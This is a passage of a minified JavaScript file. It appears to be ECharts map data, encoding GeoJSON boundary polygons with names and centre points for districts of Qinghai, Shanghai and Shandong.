¥Æ™kwƒaXƒÜĉ™¯ÅV¯¤mkƒx¯kķܙ²VWôŹVUƒƒ@V£™¥@ƒ°wn@™m@¯@UbUôķŽmn@ÆÛ@ÇýVaUÇĊVƒ@Çlğ—¯xÝŤ™lVÈÈVƒx„ƒ¤Vx™„kK@™@ƒx@„kVƒĖġ¥kIWbXŽŎx@nƒxÅUW`ƒ_—@±ŽUa™LUxƒK¯„WbkVlb—bmŽƒLÛÆWIUwƒWkwÝV@kI›ŽéUb›UUk™V¯Km¯k@Umݐ¯m¯›m—L›Þĉ‚ÛUm™ġ£UxkKm°™Lw›šk@kšƒVm„ƒKVUk›@¯a¯Ģ™móKUU™x™ImlÅn™™ÇbXèVVU„°„@ŽšŽ@„‚xXnmš™ššŽ@¼ğ°@²ÆxU‚„²šWÆb°š™š@¦llš™„XLmĬ@҃šÞô°@ȦUJÇaƒLóU¯š@°ġƴ@Ɓ@mɱJğ¼ǕššÒUzƧ‚m„n›mğ°ǫ¼knÇ@bġmmV—@VaUaƒLƒk™l@„kLW‚ō¦¯@ƒb™KUn™JĉIó`ċUÛb™wUw±ax›bñUmƒƒ@™„ƒ@—bƒaƒbǏÅXm˜„ƒÝ„ÅôVbގ™bl„UšÞVޚ„U‚°„VUxƒ@U„V„@l`™¼nL@Ċ„LW„„¤kXķWġXUVVVķ„UbVb@°kVVxÈa‚@ȦĊbšaźJ„U@Ț„„˜Vœƒlš@XkôaWƒĢ™Þ@laĸUÆb²mÞLĠ™ÞÑôbšÒĊa„JVbm¦"],encodeOffsets:[[93285,37030]]}},{type:"Feature",id:"6326",properties:{name:"果洛藏族自治州",cp:[99.3823,34.0466],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÞVŤ™ÈK@ĀlxV@„Þ@„wŎalmôLšnXÆÜ@nV‚°@œ„°WmVKŦLÆmȚԂҚUX¥l@ĢJVš@„ŽƾI@w™W°™™Ån¥›kÅÝVwôƒÈç„@lÑĊĕša„JnaÆLVw°kny°UnkÆVȍĊll¦„Vƾ@@™nUźƒÈǂIn°X„wÞKô¦VWV£„@£°ókċ±I™™am¯Va™»ČĉV¥°™@m„k„¥l@„Ċm@ašU™mwXƒ@wÆxšmĢ_„`VnÆbšKVw„@@ƒnUVğVmVVöIlŽl@@çÛmƒ£UDŽw°@VUƒ¯»m¯ƒJōĖÅLƒa@»ĉ̱`U_k`ÇçšóƒkX™lK@ƒakÝރš£WċkÝ™kxƒJݯÅw™xķxmIÅx„@k±J@ýŋš›¤UœkŽmV™°ÅÝxkwmġƒnÝVU„š¦ƒŤlmšóXk¤™UKƒç™@mVkK@klīƒ£mš¯VUbƒW¯¼ċb¯ĵam¼mVX„m@k¤ÇX‚ÇbƒUƒ„¯J¯„¯È@˜™bVXVҙ¤V¼kxݚV„@l‚V—„WxÛ¦Wš¯šmKnlŽkŽ‚šU‚@nƑUĉ„Ý@ǺۄċUĉ¥™UƒÞŏ™z±òL±Ò¯xX„±ÒLÝU@lššV¦¯‚ÇbkêÇJƒnU„šš@š„‚ÆI„xn¦‚‚@²Č脦‚è"],encodeOffsets:[[99709,36130]]}},{type:"Feature",id:"6325",properties:{name:"海南藏族自治州",cp:[100.3711,35.9418],childNum:5},geometry:{type:"Polygon",coordinates:["@@VxƒŽńƒš@ĊĠŽĊXÒ°UƾĕÞm°£nb@‚@LUUW„Ûº@nlÆǬšĠ£ÞV°UXb‚VȂǵ„éƒ@kWanm°@™x„z„K°¯ĠVšƒVƒkw™Lnm°kÞxÆa„¥@‚wnĉƏ@™œ_l›š_VwšmĸèŤÅČU@™˜Wn@ÑmKU™nğƒK@ƒ°¯UÿV£nmšLl™„UƒUÛé±óókkmƒnƒakV@ǰóÝXƒWəÞťIţxmm™VÛUVȂÓnWyȁĉkƒVš°WnkĊa„¥‚_œK°ÿWna@ƒmU¯wƒlÝIU¤UXó¥ÝLƒx¯WmJÇÈŹ„mV@šƽ@ƒUk¥ĉkċŽÅUml¯Vmz¯lUxÅKmbƒI™bĉĖk҃@Çèó„UxÆÞœlm¦šÆ¯ššX@x™Ž@Ž„²ÝlƒÈ™JV²klVl¯ÔlšĉƙްlUǖÞ@ššĶ¼nŽUôôŚ"],encodeOffsets:[[101712,37632]]}},{type:"Feature",id:"6322",properties:{name:"海北藏族自治州",cp:[100.3711,37.9138],childNum:4},geometry:{type:"Polygon",coordinates:["@@ōmġxƽUm±Lǿþġԙ@kxmWƒb¯I¯‚mIUx@bƒbŹVǎƒkĵbƒlĉI¯¥ƒUšm@ƒÆ¯È@šašóšUlƒČ»@w›œ»›wXaƒƒó°ţç݄kUƒaV¥ÅbÝw¯lmnšKlxU„™„ğU¯°ƒLƒyšw¯@mnXb‚l„@ƒêȁǶUWa¯VÝUğ¤ǫ™kÅ@mܹXƒVV@K@ma¯¤Ýnƽ˝V@„ƒ¼„ôlèk¼„¦˜xXŽlbnKšÆx@Ž™bUx@nnxWJţ¦ƒmƒ¼ñ@ް¦lUÞlÈ@ĠxÞUlxÒó„ƒl¯bmI™ŽÝVÛaÝnƒxVbkbÇwřÇKn±K™b„šƒb@V„xšLmŽÛŽŻbk„ƒVó@™šŹxó²›Wkb™@¯U¤ƒźĊ@lUX„°lÆôU„ƒlLX‚aœV°wšxUb°xÜôÈKVkÈmlwškÈKšwšK™™VUŤĉŎ»„»„Il¥na°LV»²¯Üy@w̃°ĸwlwĢw°±„_lVkš@°ƒbƒÆ¯zƒ‚„š„@l_„@̱lŚVlUaރ„LVƒnKlnȏ°IllČa˜wÞѰx„UU™@wƒVkmĠLô»„KÞýôaÞ¥ôĀÞmƁ„™‚mUƒŎV¥Èl°²°a²¥V„@@w„amm@Ñn@Æ£żƒVƒĠ£@W„¯Þƒšl@š»@Uk@"],encodeOffsets:[[105087,37992]]}},{type:"Feature",id:"6323",properties:{name:"黄南藏族自治州",cp:[101.5686,35.1178],childNum:4},geometry:{type:"Polygon",coordinates:["@@ôl²ôÜê„VƒVkš™KmnU¤V°@„„LmĠVšnLÈL@alb@al@n°Vš_XmWUÈamaVIn@n‚aV£œóVWƒ™U£°ašxÈ¥@™‚aĊwȹ@óša™ƒğbm@k„w@mƒaÆw@ƒ„In¯mmƒ@UkkWƒÑÅ@@kċÅçVkÝJÅkVykŹl¥@¯š™ĢU܃X¥òý—mmX™ÝÅlmU@£™Wly™XW»Åbƒl@aI›»k@klm@UxUUƒVƒ¼¯Xƒl™aUnķ‚ƒI@x™@¯„ƒK™„ĉUU`óšlȝô@¤ƒÞJ„k°xVŽ„n@ŽmbXޝ›L`ƒ¦ĉbml¯X™ŽUŽl„ȂĊXzm‚ȁÔU‚ÜVšUnnŤwŦJɚ݄XÞW¯ô@ÈlU„b„mln"],encodeOffsets:[[103984,36344]]}},{type:"Feature",id:"6321",properties:{name:"海东地区",cp:[102.3706,36.2988],childNum:6},geometry:{type:"Polygon",coordinates:["@@@҄bš¤ÆI°ôU¼š°UŽnnWx™š@b¯L@lUUWbXxWl„ƨnxVUllš„XVŽUŽnL@lȀý²KVnƾ‚ĢwV»ƒ@mÞ£nÆƒÞÑmL™ƒKUaVżĕƒWVk²ƒƒÆÝ@ƒXw°@„ô™@a°wóUUmIk™™aVmÞwmknyƒ¹VÿƧnŏm£X»˜™naV±„Ýw@ašb@aƒm¯„ĉVó¦kÝWKUU@WanU™b@ôǺĉxb@šÇ¦™w¯bV¤„šUX›ôU¤bmm@UJnbÇbXVWn™`¯Umk@@bka@bÇK"],encodeOffsets:[[104108,37030]]}},{type:"Feature",id:"6301",properties:{name:"西宁市",cp:[101.4038,36.8207],childNum:4},geometry:{type:"Polygon",coordinates:["@@@kmKVUƒWk™VkUmwƒƧXkWwXaVV@k°K@aš™XwmmV™¯V»¯óÅJ™£ƒamŽ—X@šċVţÆķç™nUx™`kœ›`@šÅmĊx@Žƒ¦U¦„blVރŤèô¯„„Wbœx›¼œŽ@xċ¼k„™V™ô™bÇ@Ű@„™n„V°¦ĊJ„kĶa„lȍźU„a@aVwnJ°°J„anXlwš@ĢÓ"],encodeOffsets:[[104356,38042]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shang_hai_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"310230",properties:{name:"崇明县",cp:[121.5637,31.5383],childNum:1},geometry:{type:"Polygon",coordinates:["@@uŏu»GPIV±ÐɃŜ{\\qJmC[W\\t„¾ÕjÕp‡nα|ěÔe`²„ †nZzZ~V|B^IpUbU†{bs\\a\\OvQ’Kªs†Mň£RAhQĤ‹lA`GĂA@ĥWĝO“"],encodeOffsets:[[124908,32105]]}},{type:"Feature",id:"310119",properties:{name:"南汇区",cp:[121.8755,30.954],childNum:1},geometry:{type:"Polygon",coordinates:["@@`y”ĉNǕDwǏ»ƒÖLxCdJ`HB@LBTD@CPFXANC@@PGBKNECCBB@EBFHEDDDSNKAUNBDMNqf[HcDCCcF…@EFGLEBa@ACoCCDDD@LGHD@DJFBBJED@BGAEGGFKIGDBDLBAD@FHBEF@RFDMLE@SGANFFJBANPH@@E@FJjRIACDMDOEKLFD@DbDAJI@AP@BGHFBCBGDCC@DCA@CECGH@FKCEHFJGBFDIHACEDNJDCVFBDCRKRLDLITB@CjNJI^DBCfNVDHDFKHAFGDIICDWBIF@@CFAjFJNJBBHD@CJ@AEFJ@@DH@BFBCPDBMFEQGDIFCNDHIP@HDABFACBJFHEBSZC@DP@@JDBƤ~"],encodeOffsets:[[124854,31907]]}},{type:"Feature",id:"310120",properties:{name:"奉贤区",cp:[121.5747,30.8475],childNum:1},geometry:{type:"Polygon",coordinates:["@@~T~JjZdDbLXDLCB_J@@FHFZJJIAGH@HGR@BENBLID@@LFCDF\\FpDBDb@FAHKFE†@dEDDdC\\GreNMACVMLBTMCCFCEGFAA@DAFDLMHA@OD@BMEWDOC@AS@KGAI_DcKw„ÕísƝ‘åĆctKbMBQ@EGEBEJ@@MBKL@BJB@FIBGKE@ABG@@FMFCPL@AjCD@ZOFCJIDICIlKJHNGJALH@@FPDCTJDGDBNCn"],encodeOffsets:[[124274,31722]]}},{type:"Feature",id:"310115",properties:{name:"浦东新区",cp:[121.6928,31.2561],childNum:1},geometry:{type:"Polygon",coordinates:["@@EN@JJLNHjLJNR^GRYVBNZJRBV@PDvbLNDN@LGNER@nCNQNuT_TIVFV\\Z\\XnDrI|[Ʉś²ÏJUHOƣ}CA@IO@@CYDATGFIEDAEBBAGCO@GJMCEDCJRHEFANOCADAEG@@CI@FE@BDIC@AGIAIMiEEB@DE@AJCXJDCJEHGBELGCUCeMAD]CIJiM@DSAKJKCLQDQACUECDMIFCBDJGECHAEIWCK@GLMCCGEACNKCEJG@MMBMC@@CIJUINT@JAJSTEPZZCP"],encodeOffsets:[[124383,31915]]}},{type:"Feature",id:"310116",properties:{name:"金山区",cp:[121.2657,30.8112],childNum:1},geometry:{type:"Polygon",coordinates:["@@L@BIHFN@@EE@@EFBDGDAADVDD@@EF@CA@IIsRE@GDAF@BF@CV@|FBCHBLCNHAFCADBMDCFZXHILBVEEQA@MWFARJJ@DCX@@TEFBLHAAERE@AJABRPBNK\\BrJ\\VHGND@CNADKDADQjGAGNC@GJ@FCFFHC@JF@@dLBDSFADHVG\\DTEPDDHJALIJkJDJCDIPE@YDCBiK@DONE@EH@BAF@HLJA@EIA@ALKNA@@FIFAFHR@NALadsæąyQY@ƒA±DʼnXUVI^BF@FFF@HBJEDFFGFEBSRkVEXGHFBMFIVW@GAEEFOIAIPKABGWEKFSCQLQBSEIBC\\FdBLRR@JGACFDDEF@AWB@LJJYNABBA@CUEGPaO_AIE@MYMFIGAEFECHSAAKAO\\[JEDB@E@MMA@@AGBKMGDFFCDDFEDFJF@NPBAFLHFH@EDDHBADDC@DDCDHHCDDFDABDAD@FEFOBCJ[D@HEDDNJBDDHABJIBBvGLBJAH"],encodeOffsets:[[123901,31695]]}},{type:"Feature",id:"310118",properties:{name:"青浦区",cp:[121.1751,31.1909],childNum:1},geometry:{type:"Polygon",coordinates:["@@RUNKdOFDJCbRFMLAHPLDN@JGL@@APBWYCKN@TU@SHGCEJIDIJKVIZVNM`iNY@CIE@CA@KBOEGEUFCCSADEIEFCDDDIDDHC@CKIeDCG@IG@DHWFEEGCH@@GO@@O]CNpeEQDBFME[JC]DGF@CKOA@QSB@GB@@GW@@ED@AQIJIAAFE@@DO@CFI@KNG@CDACAFEGKGBEGBDCCAIFCCLIECFI@MBCLDHGNAHSF@DMB@EEKBA@@C]DEICFG@ADBHGFKCDAKKHKD@@FHGAANGEEFCHKCECBCKG@ADKCNE\\[A[I@@mGBDQQEO@BCE@AI[AML@JGACLOAFKEMM@EQKC@CUCBCCBCHEA@FF@@FM@GEAJK@GNF@EXPH@FD@M^@HIADJCFDBER@DK@@DE@CAKFOCCBDHIBCNSB@GFC@GQEEOWFICGDUAEJIDBTAHJHEB@DIF@NE@H|HBDBEH@DKBAHEF@HEEUB@FGFGCCCE@AHOB@NH@PRLVNNFBX@RC€PbAvMtBfH@DJF@ELBFA@EH@HNED@FFB@HLC@CJ@@DJ@PIRf@HE@CFF@GPHD@DKE@FFBEFFD@DEFCA@DD@IjCRFBAHFDKD@HF@@PM@H@BlbDJDBFEF@DLXB@HCD@@IFCBIFEJD@FDC@FBALLF@PAACJERACAJCBD@EL@JD"],encodeOffsets:[[124061,32028]]}},{type:"Feature",id:"310117",properties:{name:"松江区",cp:[121.1984,31.0268],childNum:1},geometry:{type:"Polygon",coordinates:["@@@DLDFRN@FNELPBDKHB@INK\\BBJF@ADP@RFCRHA@nJ@B\\[\\MFLDBCH@DLDADFGLEDFFMHBBGH@EC@GLLLCBLDHEAGBCH@DEFJ^C@DB@LAFFA@CNE@GTMBGHKCAD@NEJFDKJDDJEDBCDHAAFLHFHBEBDDCH@LMJ@DEP@@CF@BEJBJIBRC@@FX@@HA@@HTA@RPBDLE@CHD^\\INFAERCfFMo^D@PP@@HG@HDFFXECGH@@JDHfCLJ@DGDCCCJCCEDJFCFTBDDVEHFPFLAB@NBFCFKFC@CHIACNOHWHCAAFIDD@CDAGEI@ACFMF@R@R_@GQED@EGFEQEDE_IAHKAEXCQUOQCUDEN@ZI\\DDmAMHCICDSOC@EG@BKHIGMIBCGOCSF[CUHCGEBCTKA@cE@@IGDEEEDI@@HMDBHiHCRCBCLMB@DMCGH[UqI[AMLOAAQIB@BQFBFGBAKFE@SW@CDI@QIEBNXB@FRUFKAGJYWDENCCADBBEMGKDGAAD{EU@@DAEE@CB@HQFJt@JDBE@@FC@"],encodeOffsets:[[123933,31687]]}},{type:"Feature",id:"310114",properties:{name:"嘉定区",cp:[121.2437,31.3625],childNum:1},geometry:{type:"Polygon",coordinates:["@@F@LI@IDKJADKIEJICADGACFECCJ@HKCAFOHAJI@aCBEE@ICAEB[GFGCKL@FGEIFADMLCAEJM@ELQECEIG@BE^QKKLQCA@EHBIGQ[GEHOMGGDHKH@JOECFCjCBEFDNCACMBCILGTABDLEEOEIG@GFIMM@CGKFBFCDE@@GEAGEEACIcGaHMFITIHDN[AKF@FS@OA@BK@IHM@KCGOKBENaQIDECcPMLQVFHFB@BFBKLGD@FAJOVGIACQ@A`LPCB@JEF@RU@ANS@@RCL\\HIFpRBFRBBDKLLDADJDGBFDABHBEDNF@DGBBBADKDAHC@\\JJFBDEH[DEFDH\\LX@XLBLbT@DNJLDCEL@VJABJNDHB@HBHYFBAA@GNFB@@AFB@AFABFLFBHFCL@HJBAFBLC@DN@HN"],encodeOffsets:[[124213,32254]]}},{type:"Feature",id:"310113",properties:{name:"宝山区",cp:[121.4346,31.4051],childNum:1},geometry:{type:"Polygon",coordinates:["@@ˆmÖoÖiƒ½[s[YEUJU`SCIEBCCWJY_LIICDWU@@FaBCJIB[ICH[@@CDKEE@MK@@IMCAEBCH@AMFI@SMGEFGB@FK@BHCAIFJNQD@FEBDFMBKGACG@ECWH@@CDDTOEEBGEK@GC@EE@GPHFR\\JHGA@FDBKRLL]RAFH@FJFDKR@FINBFKDCNEBFJEHK@DLEH\\HFADB@JFFDA@bIJGBEPDBGLI@DDEFBDCHDBIJJFCLIBCL@JKJE@ADHDBHJ@HIBBDFHBBAEIJ@BJFAVL¢ˆ"],encodeOffsets:[[124300,32302]]}},{type:"Feature",id:"310112",properties:{name:"闵行区",cp:[121.4992,31.0838],childNum:1},geometry:{type:"Polygon",coordinates:["@@T@@ELE\\BCMJGJSNEbGdHDJFBJAFIEIFCEWG@@gMENSFCVJFAxR~B@IH@AIiI@GE@FGEAFQPDRiV[\\DFSGMHAXHDOMCJCDETBBNVJJI@DD@ANNNH@FILDDMFBDHNDHKL@XDFGLD@EHGFD@DDB@CDDHCDAEAHG@ABOJ@BIaC@CECLKPFNCDCJBiQEIF@@@OGBMIAEEBMTHF@NKEC@QFEGA@EBCKAACHCLJHEFHHB@AFCAIEACIC@HG@KCCDC[ECEED@KC@KJMAAFQ@GHG@BHIJYIGE@EI@A`KDWCaKcCiY}I}S[CYJM@CFDVPRRVWDFžLBBG`JCFRFEFFHC@RF@HQ`Q@E@ENBDJ@HFCB@DCCEJBBGDGXMPBDGJ@DEDELEDMA@DJF@DMZ_jMNYUUJILCJIJDFGH@TSVM@DLXZ"],encodeOffsets:[[124165,32010]]}},{type:"Feature",id:"310110",properties:{name:"杨浦区",cp:[121.528,31.2966],childNum:1},geometry:{type:"Polygon",coordinates:["@@V@CXJDKJZ`XIDDFADJvSRMDM@mFQHM@KCMKMuaOCU@BDAJSX@HKJGD@PNJCJWAGT@R"],encodeOffsets:[[124402,32064]]}},{type:"Feature",id:"310107",properties:{name:"普陀区",cp:[121.3879,31.2602],childNum:1},geometry:{type:"Polygon",coordinates:["@@F@@FHDL@HFFAPFCSDC@@XGFDH@BDLHNACEFA@ERCIMJEDBAGL@@EHAFENHHJ\\ONQBQCIBC[MKACKI@GGGH@I_G@CW@[DMHCDIBMTDHN@JNHEH@FJFPKFACSBKHDJNABDMDECAFiDEDFDIPG@GLHCNH"],encodeOffsets:[[124248,32045]]}},{type:"Feature",id:"310104",properties:{name:"徐汇区",cp:[121.4333,31.1607],childNum:1},geometry:{type:"Polygon",coordinates:["@@RADL\\NCPHFfLJaJ@FWLGMGIK@IFMDOYYFOTSBI@IMSAMSACFIDNDCPWGGBHNET[CU\\QjOCERFBEHF@@HjJBJG@@J"],encodeOffsets:[[124327,31941]]}},{type:"Feature",id:"310105",properties:{name:"长宁区",cp:[121.3852,31.2115],childNum:1},geometry:{type:"Polygon",coordinates:["@@HFFB@HF@DCAELENSJADCNG\\CX@@D`H@JHGHHJ@BINBFUGEDO[MCKQB}AwQEBUIEDMTNF@hH@FXEDFJEJIB"],encodeOffsets:[[124250,31987]]}},{type:"Feature",id:"310108",properties:{name:"闸北区",cp:[121.4511,31.2794],childNum:1},geometry:{type:"Polygon",coordinates:["@@CSG@BQGODUPWTOBQAAFMECKBGEMFKEOHADDJARMR[PGI@TEJBNG@ADBFND@JL@@NFFCL@D\\@DG\\JJADI"],encodeOffsets:[[124385,32068]]}},{type:"Feature",id:"310109",properties:{name:"虹口区",cp:[121.4882,31.2788],childNum:1},geometry:{type:"Polygon",coordinates:["@@bA@E@QHSXBDIMI@OHCLI@GTWBIACQAYIOFGCENBBARSPOXCVHPARH@DT"],encodeOffsets:[[124385,32068]]}},{type:"Feature",id:"310101",properties:{name:"黄浦区",cp:[121.4868,31.219],childNum:1},geometry:{type:"Polygon",coordinates:["@@NEHFLAFDHDPEAMZUHQQ]IMKJG@EPERABHBGRUCCNGV"],encodeOffsets:[[124379,31992]]}},{type:"Feature",id:"310103",properties:{name:"卢湾区",cp:[121.4758,31.2074],childNum:1},geometry:{type:"Polygon",coordinates:["@@VDHQGABAFQFOH@LIiKKHEXI@IbAFZB"],encodeOffsets:[[124385,31974]]}},{type:"Feature",id:"310106",properties:{name:"静安区",cp:[121.4484,31.2286],childNum:1},geometry:{type:"Polygon",coordinates:["@@DLLB\\NPGLFHUDMYABEeKEVMAAJ"],encodeOffsets:[[124343,31979]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/shan_dong_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"3706",properties:{name:"烟台市",cp:[120.7397,37.5128],childNum:9},geometry:{type:"Polygon",coordinates:["@@ŤLšLllVń²è°xżĢĠÆl҄šŤbœ„V¤ĊXnŽlĢVĊ„Òš„ȰĊŰÞè˜L„±@џn»VUźċ²»ÆkôVɆkĊѲkŤVVwUUVmUaƒ@KkU@ƒmUmmk@UwUkmW@UVIXa@ƒmw@a™KULƒaƒx@Uk@UbWU@yULmK¯@kXƒVUwm@@JUUknWKUVƒLUbU@™wWykIƒa@w@mUI@ašUVynIWa„k„@@W„bl@@knmƒK@wnIl™°Kna@V¥ğ@ġUķ»™¥@UōJƒX¯¤k@™wmI¯‚k@mwƒak@@šlX@bUJ@VƒbknWxkLkxlŽšLVlkLmŽšb@bU@ƒbU@VbU`Vb@n„L@Žmb—U@˜VnUVmnU@mm™@kIUWVIUK›VkkUJUnmL@VmLUaVWaXamU@™™U@KUUmVƒU—JƒU™VÇwğn™mƒ@mXĉV@l¯xnô"],encodeOffsets:[[122446,38042]]}},{type:"Feature",id:"3713",properties:{name:"临沂市",cp:[118.3118,35.2936],childNum:10},geometry:{type:"Polygon",coordinates:["@@˜bXlƒl@zlV@lXXmŽkbVVlš„U@Vn@@Vmb@XšKšVX„WJ@XXl@„‚ŽÈbVLšUl`„@XXV@VVUxVbUxVbš¦„@‚WnXVJ@bnVUzl@„°Æx„U„KlU@mUUnUlUVWVUnVV@XX°V@Všll@Vk„aXVl@Ux@bmbXLlKlb@b@bUJn@@„„b@n°x°K@an@@UlLVKVbXb@bVVnK°LVa@UVa@™Xw‚KVxnLšU°@naV@UWUkWƒULmV—wÝKUUla@aó_@mƒK@aUU@ƒWUkwVm@aVI°W„@@IUw@a±¯@¥kUVUm@a‚wkw™@ƒK@kVKk@maXalI@alL„WXblaVLVU„V@LnKš@„l@w˜aXašLlnUl„LšmV@n°J@_VmnIVym£UKmI@WnIVm@anUVmÇ_kġIÅWUXÇm@U@ݯÅ@ƒ™@naWƒ™IVW@IkK@klKn@naWIƒmk@ƒaƒbkKkLWn™WkLWmk_ƒ@UaVƒUKmLUw@mn£WwUmU™ƒaóV@UkUm@UKULUwmJUX@WW@XҙzVblJXŽWXk@UVWK—X‚¤UL@xU@ƒ@ƒVUaU@@XmVkLmWkXUyÝLmKXnVŽ@n@l™x@bWLnVVn™`knULmxUl„„WLXŽVb@VƒK@z¯x¯¼Wx™KUn@bk@ƒlƒVVVz"],encodeOffsets:[[120241,36119]]}},{type:"Feature",id:"3707",properties:{name:"潍坊市",cp:[119.0918,36.524],childNum:9},geometry:{type:"Polygon",coordinates:["@@l@@UšK@Ž@L@bX@@VlL@JƒLUVnX@`ÜXn`V²mJ@bU@@n„b@l°xnnĸVƚ°@„ƒĊ£Þ@lWnÑnkʶJmó°w@kk»V@»ƒ¥k@V@kw@wVm„a˜Å„mšaô£ŎƒXI@mln„Kla@mV_UKƒ@kUkw@alW™IU»™mƒ—@WUIl±UUÅU›bkJƒ@a@wUKUaVIÆmXIWaka@m@Ul£XKVw@ƒUIƒJUkmJ™ƒVkU@a„ƒWK—ImVƒ@UxmL@bX`WXU@U`ÇkUak@@°UblXk‚mLUKmL@VULóƒƒVk@@Vlbn@Ub@ċaUJUbƒIUlVLUVVbVKX„VlVXU@mb¯@™VmKUwLWx@šUb@VUb¯KmLUU@aWaUaULkK@Vm@@b¯L¯w@mƒa@ƒm@UUU@U¦lJUXƒVƒmkb@nm„XVWŽkb™IVxUV@VUbWLXVƒLW`Ux@nk@Vn@x@VkJ@œV`mXkŽ@V„xV@lVššI@VULš˜VU„IV`°bVXXx„V@VWVnL@xV„Ub"],encodeOffsets:[[121332,37840]]}},{type:"Feature",id:"3702",properties:{name:"青岛市",cp:[120.4651,36.3373],childNum:6},geometry:{type:"Polygon",coordinates:["@@„@nU˜JXLƒ„@blVU‚š„nIVl„IVJ@„UxWLk¤@V@nlbXbWJÅnUJVbVL@x@b„ŽlIœaÆVVVk²VJ@X„˜šnV¼šJkX@blxlV„@VLU`@nkbƒLkm@nWJō„ó¤™bƒn—ƃbUn@xlxU@l@„¦@¼UŽl¼ĊUnW„@šnĠmÈxšU„V˜I„VnUVV@LšV@šnVWbXb‚UVbnK@UnKVmVIllœUVLUJVXlJš@nnV@nmVUUm@—˜Vna@ƒK@mUaV_UaV@„aV@@a™anlKUk™KklwlKXwlm„a@UVI@akW@™l@„bnxl@°nJšxl@°£„WŎIUÑn»lašmô¹Ŏ¥VaUUkƒmkġWɱIUUŹ`›@kk@ĉƨřV¥_Ç@™Ĭƒ¤ÝL¯m¯£ƽóķwUW±ī¯kōaĉĕ™kğmó°ƒbW@UKkLUaƒVmz@V@ŽUxVn"],encodeOffsets:[[122389,36580]]}},{type:"Feature",id:"3717",properties:{name:"菏泽市",cp:[115.6201,35.2057],childNum:9},geometry:{type:"Polygon",coordinates:["@@@¥šIVUÈmÞ»@UlU@Un@VW@UVmkk@aVUUKVÝ@UVknK@UV@VVnIVƒ@wnƒmwmKXaWaXI@UV@Vy²blkVKkam™U@kb@Um@VmUkmƒKmkXKWwkU@Ulƒ@UnK@UVUUm‚KXwšUVL„w‚K„U„@@Wl@@wUkV¥—@@I@W@_V@VWUw@UUa@aƒaWa—@@_mKUw™l¯amzmV—@WK™nU@kƒWLķaUKbÝVmV@UWÇbÛ@ƒX™°UbW@XŽm„Vlk²UJUbmLÇxÅWUzl‚¯Ll„@VkK™XUbWJ@bU@¯@™ƒkbƒLmKka™„@l™_WšXºVbUz@J‚n²V@¤lX„Ž„nV°šLn`WbXLôVlKVUšxXn˜lXLlU@bVV@„XJWLUVnVV@„„@n‚l„°nn‚V„KÈbVXÆJU°VnXV„kV@@xVL„@šWlb"],encodeOffsets:[[118654,36726]]}},{type:"Feature",id:"3708",properties:{name:"济宁市",cp:[116.8286,35.3375],childNum:11},geometry:{type:"Polygon",coordinates:["@@nam_nKlVLXa„Il`š_@KVVXI@m@w‚ƒ„@@k@Kšnô@n`VbV@@L„L@KVVn@VX@‚VL„Jl„š@VUUƒU@Uam@Uk„wšKWaXamkJmIUVUÈblašUnV@kVKl@@lXL°kVJ@VÈnVJUX@V‚LXl@xVLnU‚@VK„V@a„IUaV@„bĊU„x„K‚kVJXUlV„ƒ„UVašI@WUI@KlUnw„mWk@WXIWƒ™U™L@Wna@Um@@UƒVk™UUlanWW@kkU@y„kWk—aWVUlÝbUU@kƒJUIU@@ƒ™JmaókƒLKǃUUkKWLk@WbkUUaƒbmKn¯°¥V@XwV@VanaVaU_@Wlk@WÈ@VUÈVVۂm„aklKȯlLVUX@lK@aX@@kV@VmV@VwnJV_UWUwƒX™am@kW@wVUkKVIUUVmU@UV@IVK@aUL@aƒV@Lm„UKmx@ށômLkUWJ@šnXmlUxUL@Vkn›VUšU„@V™L™`Ub±LkV@kUKÇbÛ@ƒU™Wó_mJƒ@Wk@@Xƒ@ƒVLƒxUK™VWxLVnUV@VmL@Vk„@VlVXxWLnl‚Ln„VlUnn@@VlaV@nšlbULkl±aUzU@@VWJXbWbnLnxm„@xU„mJUUU@@VmLUl@VUÞVLUV@bllUn@VUXm@@VkV@VݼÇnUV™J@¦nnƒlnVlL@„Þb°KVV"],encodeOffsets:[[118834,36844]]}},{type:"Feature",id:"3714",properties:{name:"德州市",cp:[116.6858,37.2107],childNum:11},geometry:{type:"Polygon",coordinates:["@@„¤@VmbVXnVVbVJššX@Žll@z„lVInl@„@bVxUbĠ‚l@Èbla„IšxXVWb@L™@n‚ULWVXXšWWLnL@`@LUVVL@lVn„JšU@UUk‚a„™nš‚Vôô„b°¼V‚ސXš˜‚œIÜbČa˜bôW„XÞWÈzÆmnLVJ°ÈnlV²lbnW@™@UƒUV™šmnwmkkKWƒkla@mVIUKUa™aUwmn™JU@@amIk@@bVlkX@mmUklUUƒƒa@_UaUUƒV@wƒw™WkXmW@I@WUaÝU@UXaWUU@UUVW@UUUWUn¥nUVa@m@k@alU@wk™LWa@UUm@@wnmU™wla@anKn_@alK@ݙ_ƒ@@WUUUmlkaƒIƒyU@UwU_Wa¯yU_mWUwkImm@InWWUk@@UVWV—kW¯U@VƒL@b¯b@l±¦@šVV@lUbV„@škxVnUšl¼XV@b@lV@nIWxnbƒ‚™@UU™LƒxÅxm¯ƒaUƒ™wU@mUÅVÝKULm@bmKUXó@"],encodeOffsets:[[118542,37801]]}},{type:"Feature",id:"3716",properties:{name:"滨州市",cp:[117.8174,37.4963],childNum:7},geometry:{type:"Polygon",coordinates:["@@Vb@`„bV„kVlnV@nlWUk@al@nJ@bV@šInmVxšbVbVLUJ@nkb‚lX„lLnlmx™nUš„V@V@šmXn˜lbĸ@nnVx‚b@lnXV@UJ@nVxšxnxVbÆVn¯ƒĕ‚@@wÈçUÇlķVIœb‚@„Çmk@¥k@UkUK@aWakUóJW_UW@wkkWK@U@Kš@XUƒƒUkmUUalKXala@U@kkWlkÈl@kšV„mVIVmU_‚a„ƒƒwnwVW@wƒwUƒ@wU£ƒwkJWIyUI±bk‚VUJ@nmV™Ukl„Xmx@lnbW„kVƒUkLWŽƒxkKUUmUkb™J±—LÇxUKmkUmkkW™™a„mUaVkšJÆ_²KĠ@U„W@w„U‚¥nUWwK@aÝUkÅVaVK@akLWƒƒƒ¯I@bnbVx¯JW„ñšWbUL@šƒŽnV@VmbkUUV@IÇak@@bWak@WJUœJWL@bXV@„‚@„V„Jlb@zUlUŽUImšnbV‚mz@°UV@V™bV@@V@L@xLmKUnmJVX„J@VkLW@UVUL@b"],encodeOffsets:[[120083,38442]]}},{type:"Feature",id:"3715",properties:{name:"聊城市",cp:[115.9167,36.4032],childNum:8},geometry: